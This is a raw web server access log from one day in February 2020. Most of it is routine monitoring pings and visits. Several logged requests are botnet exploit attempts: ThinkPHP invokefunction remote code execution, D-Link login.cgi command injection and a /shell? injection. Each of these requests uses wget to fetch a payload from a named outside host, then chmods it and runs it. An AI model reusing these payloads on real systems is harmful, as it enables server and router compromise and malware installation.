212.91.246.72 - - [12/Feb/2020:10:43:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.41.202.205 - - [12/Feb/2020:10:43:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:10:44:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:10:45:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:10:46:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:10:47:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.69.34.216 - - [12/Feb/2020:10:48:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:10:48:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:10:49:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:10:50:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:10:51:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:10:52:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:10:53:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [12/Feb/2020:10:53:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
42.115.229.191 - - [12/Feb/2020:10:54:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:10:54:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:10:55:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:10:56:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:10:57:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:10:58:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.108.70.175 - - [12/Feb/2020:10:58:55 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.108.70.175 - - [12/Feb/2020:10:58:57 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
223.71.167.166 - - [12/Feb/2020:10:59:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
178.94.22.57 - - [12/Feb/2020:10:59:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:10:59:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:00:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:01:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:02:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
223.71.167.166 - - [12/Feb/2020:11:03:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
212.91.246.72 - - [12/Feb/2020:11:03:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:04:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:05:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:06:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.89.23.21 - - [12/Feb/2020:11:07:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
175.35.119.37 - - [12/Feb/2020:11:07:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [12/Feb/2020:11:07:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.114 - - [12/Feb/2020:11:08:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:11:08:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:09:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:10:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:11:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:12:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:13:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:14:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.88.27.34 - - [12/Feb/2020:11:15:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:11:15:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.75.43 - - [12/Feb/2020:11:15:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:11:16:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:17:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.115.229.191 - - [12/Feb/2020:11:17:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:11:18:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:19:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:20:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:21:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.174.34.229 - - [12/Feb/2020:11:22:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:11:22:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.48.156 - - [12/Feb/2020:11:23:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:11:23:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:24:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:25:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.75.65.250 - - [12/Feb/2020:11:25:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.5.141.90 - - [12/Feb/2020:11:25:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.5.141.90 - - [12/Feb/2020:11:25:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:11:26:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:27:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:28:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:29:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.7.84.141 - - [12/Feb/2020:11:29:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:11:30:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:31:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:32:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.88.93.166 - - [12/Feb/2020:11:33:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:11:33:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:34:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:35:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:36:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:37:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:38:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:39:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:40:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:41:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:42:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:43:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.205.210 - - [12/Feb/2020:11:43:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.6.31.178 - - [12/Feb/2020:11:44:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:11:44:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:45:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:46:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.21.99.158 - - [12/Feb/2020:11:47:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:11:47:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.114 - - [12/Feb/2020:11:47:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
51.254.59.113 - - [12/Feb/2020:11:48:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:11:48:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:49:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.6.232.4 - - [12/Feb/2020:11:50:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:11:50:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.118.121.248 - - [12/Feb/2020:11:51:03 +0100] "GET / HTTP/1.1" 200 1229 "https://meblieco.com/ofisnye-divany" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.118.121.248 - - [12/Feb/2020:11:51:04 +0100] "GET / HTTP/1.1" 200 1229 "https://meblieco.com/ofisnye-divany" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.118.121.248 - - [12/Feb/2020:11:51:04 +0100] "GET / HTTP/1.1" 200 1229 "https://meblieco.com/ofisnye-divany" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
212.91.246.72 - - [12/Feb/2020:11:51:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:52:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.205.119.131 - - [12/Feb/2020:11:52:51 +0100] "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"
123.205.119.131 - - [12/Feb/2020:11:52:58 +0100] "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"
45.152.6.58 - - [12/Feb/2020:11:53:21 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [12/Feb/2020:11:53:25 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [12/Feb/2020:11:53:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [12/Feb/2020:11:53:57 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [12/Feb/2020:11:54:03 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [12/Feb/2020:11:54:37 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [12/Feb/2020:11:54:37 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [12/Feb/2020:11:54:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:55:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:56:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:57:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:58:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:11:59:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [12/Feb/2020:11:59:52 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [12/Feb/2020:11:59:53 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
78.172.142.98 - - [12/Feb/2020:12:00:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
45.152.6.58 - - [12/Feb/2020:12:00:16 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [12/Feb/2020:12:00:31 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [12/Feb/2020:12:00:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:12:01:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:12:02:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:12:03:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.52.132.14 - - [12/Feb/2020:12:03:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:12:04:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:12:05:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:12:06:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:12:07:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.101.80.192 - - [12/Feb/2020:12:07:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36"
168.121.69.110 - - [12/Feb/2020:12:08:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:12:08:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.185.12.219 - - [12/Feb/2020:12:08:45 +0100] "GET /robots.txt HTTP/1.0" 404 330 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
35.185.12.219 - - [12/Feb/2020:12:08:45 +0100] "GET / HTTP/1.0" 200 1229 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
212.91.246.72 - - [12/Feb/2020:12:09:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.84.0 - - [12/Feb/2020:12:10:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:12:10:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:12:11:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:12:12:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:12:13:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:12:14:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
